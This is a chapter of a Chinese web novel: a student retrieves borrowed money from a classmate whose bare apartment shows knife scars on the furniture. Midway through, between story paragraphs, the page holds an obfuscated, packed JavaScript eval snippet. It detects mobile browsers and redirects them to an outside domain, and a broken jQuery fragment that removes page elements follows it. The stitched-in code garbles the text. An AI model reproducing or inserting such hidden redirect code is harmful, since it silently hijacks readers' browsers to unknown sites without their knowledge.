车停在小区门口,进去之后不是上下坡就是楼梯,实在为难一辆车。
打包的粥始终安稳地放在韩洋的双腿上,已经凉了,医院开的药被他放进书包里,下车前他又问:“今天的药还有这份粥,多少钱。”
韩洋是第二次问起了,铁了心要还这份情,唐游直接说了个数。
韩洋低头盘算一下,“很抱歉,我身上没有这么多,我可以回家取,能等我十分钟吗?”
“唉,说了不用,不值……唔、唔唔……”霍黎直接被唐游捂住嘴,噤声。
唐游笑道:“你去吧,我们等你。”
韩洋下车后,霍黎终于挣脱唐游的毒手,从后座的纸巾盒里抽了一张纸巾擦嘴,咕哝道:“你缺这一百块钱?”
唐游的手搭着座椅靠背,笑了笑:“你这小朋友还是嫩了一些,他说了几次要给我钱,你数过吗?”
霍黎回忆了一下,“三次?”
“作为你的老师,我很乐意跟你普及一下青少年心理学……”唐游又摆出他老师的做派,语重心长,即将开始滔滔不绝。
霍黎直接打开车门,跳下车。
“你去哪儿?”
“去帮你拿回那一百块钱。”
霍黎走近小区,没走几十米遇到一个岔路口,前方是个下坡的阶梯,左右两边各有一条岔路。路灯昏暗,他看不清路。
右边的小道里传出来几声猫叫,声音都劈叉了,放人类里就是个公鸭嗓,有些瘆人。不过,霍黎倒是对这条路很有兴趣,忘了自己是来追人的。
转身往右边的小道走去。
猫叫声越来越清晰,窸窸窣窣,像有阵风从耳边穿过,他面前闪烁着六七双发光的发光的眼睛,原来周围的野猫不止一只。
不远处有一个背影,衣服上大片的白色,手里还提着一个白色塑料袋。霍黎打开手机电筒,忽如其来的光亮惊动了那几个野猫,有几只跳窜到围墙上,剩下的留下原地,全身的毛都立起来。
前面的人回头,被灯光刺到眼睛,抬手遮住眼睛。
“霍黎?”
霍黎把手机往下压,“你怎么知道是我?”
刚窜上墙的几只猫跳下来,把两人围住。
“手机的灯光那么亮,当然能看清。”
霍黎把手机电筒关了,看着韩洋的方向说:“我就看不清。”他又看了眼围着他们的猫,“这些猫是怎么回事?”
“都是附近的野猫,经常守在这里有人过来就跳出来,有人会给他们食物。”韩洋蹲下,把塑料袋放在地上,“不给的话他们会抢,你见过峨眉山的猴子吗?这些猫跟那些猴子差不多。”
霍黎蹲下,握住韩洋解开塑料的手,不知是深秋天气凉,还是刚从医院出来,他触摸到更像是一块有骨骼感的石头,他说出口的话比石头更硬,“谁允许你把这碗粥分给这些野猫了?”
韩洋不明就里,停下手中的动作,抬头注视着霍黎。
“我辛辛苦苦给你带的,你要分出去也得问过我。”霍黎把粥从韩洋的手里夺过去。
韩洋低头沉默须臾,开口问:“我可以把这碗粥分给这些流浪猫吗?”
“不可以!”霍黎不留余地,他站起来,抬脚就是一个扫踢,嘴里还发出吓唬人的声音。
有两只猫被吓跑了,还有两只跟风的也跳窜进黑暗中,剩下的见势单力薄,对着霍黎喵了几声也跑走了。
站在他后方的韩洋用手遮住嘴,掩盖笑意,“看不出来你还会跟几只猫抢食。”
霍黎回头,义正言辞道:“你给了它们一点好处,就会有第二次第三次,之后还会得寸进尺。你见过家养的猫有这么嚣张的吗?”
“没见过。”韩洋从他手里拿回粥,“我没养过猫不知道,倒是朋友家有只金毛,和你说的一样,平时瞪着双清纯无害的大眼睛,给一点好处就会缠上你,还喜欢撒娇,偏偏你还没办法,怎么不算是得寸进尺。”
猫狗论揭过之后,韩洋又问:“你怎么跟过来?”
“被唐游派过来跑腿。”霍黎表现得很委屈。
“怕我跑单吗?”
“我跟他说了,你一个实验中学的学霸,怎么会做出这种事情,但他不信。他们老师就是生性多疑。”
霍黎越说越离谱,瞎话编得自己都信了。
此刻,坐在大G上的唐老师连打了几个喷嚏,默默把车窗摇上来,打开车内的暖气。不应该啊,才十一月初算不上多冷,怎么就着凉了呢?
两人往里走了没多远就到韩洋家楼下,他没有邀请霍黎进他家的打算,他并不想称那个房子为家。
“你在这里等我,我拿钱下来给你。”
霍黎之前说的那些瞎话不过是借口,他就是好奇韩洋的生活。有人资助,加上奖学金——虽然公立高中的奖学金并没有多少,但如果能拿最高等级的话,还是有不少的,怎么会食不果腹?
人对超出自己认知的事物总是充满好奇,想一探究竟。
吃不饱饭还要把粥分给那些野猫?
“我和你一起上去!”霍黎把“一起”两个字咬得很重。
韩洋转身挡住他的去路,这次他也坚持,“我说话算话,不会骗你。”
霍黎跟他犟起来,“让我上去又怎么样?你家是紫禁城吗?还不让人看。”
皇城的禁区才是最萧条、破败的。
霍黎走上前,拉起韩洋的手臂,往楼上走。楼道里的灯是声控的,每往上走一层就亮一盏。像是玩通关游戏一样,一股脑往前冲,直到到了顶楼,前面没有往上的台阶,霍黎停下来,后头有些尴尬。
“你家在几楼?”
韩洋:“你让让,我开门。”
韩洋从书包里摸出一串钥匙,说是一串,因为本来就不大的钥匙圈挂了两把大的钥匙,还有几个小钥匙圈上也挂了钥匙。
韩洋把钥匙插进门锁里,动作很慢,像是在拖延时间,他深吸了一口气,转动钥匙,门开了。
韩洋摸索着墙壁,按下开光,客厅瞬间被照亮。
“进来吧,我家什么都没有。”
霍黎以为他是谦虚,跨进门的那一刻,还是愣住了。
客厅里空荡荡的,除了常见的几件家具,白炽灯是客厅里唯一的电器。沙发对面靠墙放着一个长方形的矮柜,应该是电视柜,但上面空空荡荡。
韩洋把粥放在茶几上,对霍黎说:“随便坐,我去拿钱给你。”
他走到房门前,拿出钥匙,打开门锁,除了门把锁锁外还装了一个锁头,跟保险柜一样严密。霍黎跟在韩洋身后,房门虚掩着,他站在房门外没进去。
霍黎再次仔细打量整个客厅,好几件家具的作用都是摆放电器,上面却空无一物。他眯了眯眼睛,茶几、沙发、电视柜几乎每件家具的边缘都有缺口,缺口边缘还有数道划痕,很明显是刀之类的利器弄上去的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326457|183250||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他脑子里忽然闪躲无数个刑侦片的画面,手要触碰到门的时候顿住,曲起手指变成敲门的姿势。
“我能进去吗?”
房间里安静了几秒,传出韩洋的声音,“进来吧。”
韩洋手里拿着一沓钱,一百几十的都有,他数够了数,递给霍黎,“一共一百四十五,你数一下对不对。”
霍黎接了钱,直接放口袋里。
这个房间比客厅好一些,至少还有台灯和电风扇两样电器。他站在房门口,一直没动,韩洋向他投去询问的目光。
“还有什么事吗?”
霍黎木木地回答:“没有了。”但依旧没动。
韩洋把钱放进一个小布包里,放进一个铝制的小铁盒里锁好,然后锁进书桌下方的柜子里。
他做完这一系列动作,转头问:“你不回去吗,还是钱不对?”
“对了。”霍黎抬手指了指门口,“我先走了?”
霍黎转身,又听见韩洋的声音,“出去那条路黑,不平坦,你用手机的电筒照一下。”
“知道,不用你说。”
直到他走到客厅的大门,才想起来自己没有换鞋。虽然他经常犯浑,从小在霍翔嵩严格要求下,基本的礼仪还是有的。他回头,韩洋从房间出来。
余光瞥见茶几上的粥,他问:“这碗粥你准备怎么办?”
这间屋子里也没有冰箱。
以前有冰箱,吃剩的东西会放进冰箱里,没有冰箱之后,韩洋一般不会剩下什么食物,有时俞晔晨给他送过来太多吃不完,他就把剩下的都装进搪瓷碗里,盖上盖子,然后接一盆冷水,把碗放进去,这样第二天也不会坏。
当下韩洋的话卡在喉咙里,要怎么跟霍黎解释这种上个世纪保存食物的方法,说出来他可能不理解。更重要的是,他怯于在霍黎面前露出任何不同寻常的行为。
他很敷衍地说:“等会儿我就吃了,不会浪费。”
“哦……但是你肠胃炎是因为暴食,还是别吃了。”
韩洋说:“留着明天吃也可以。”
霍黎想,他刚才的行为是不是传递给了韩洋一个错误的信号,他退了一步,“无所谓了,反正最后不是到那些野猫的肚子里就行。”
霍黎下到楼梯口,掏出手机打开了手电,不远处的垃圾桶,刚才那几只野猫正在垃圾桶里扫荡,他看了一眼便离开。
远远地看见停在路边的那辆大G,霍黎觉得有些碍眼。上了车,他的表情也不是很好看,把钱甩给唐游,“拿去。”
唐游敏锐地察觉到霍黎的情绪,收了钱,继续他作为老师的关怀。
“我刚才话都没说完,你跑那么快干嘛?”
霍黎白了他一眼,把头转到一边。沉默了一会儿,从后座下来,坐到副驾去。
“你说如果柜子上出现有类似刀口的痕迹,你觉得原因是什么?”
“抢劫?杀人?”
霍黎:“你怎么跳到刑侦频道去了?”
“那除了我说的这种情况,还会有什么?”
霍黎沉默以对,他的脑子很乱,就和柜子上那些凌乱的刀痕一样。
唐游提醒他把安全带系好,又问:“你回家还是回学校。”
这一问瞬间把他从刑侦频道拉回到了青春校园频道。
是回家挨霍翔嵩的训还是回学校挨老师的训。
他斟酌了一番,说:“去酒店。”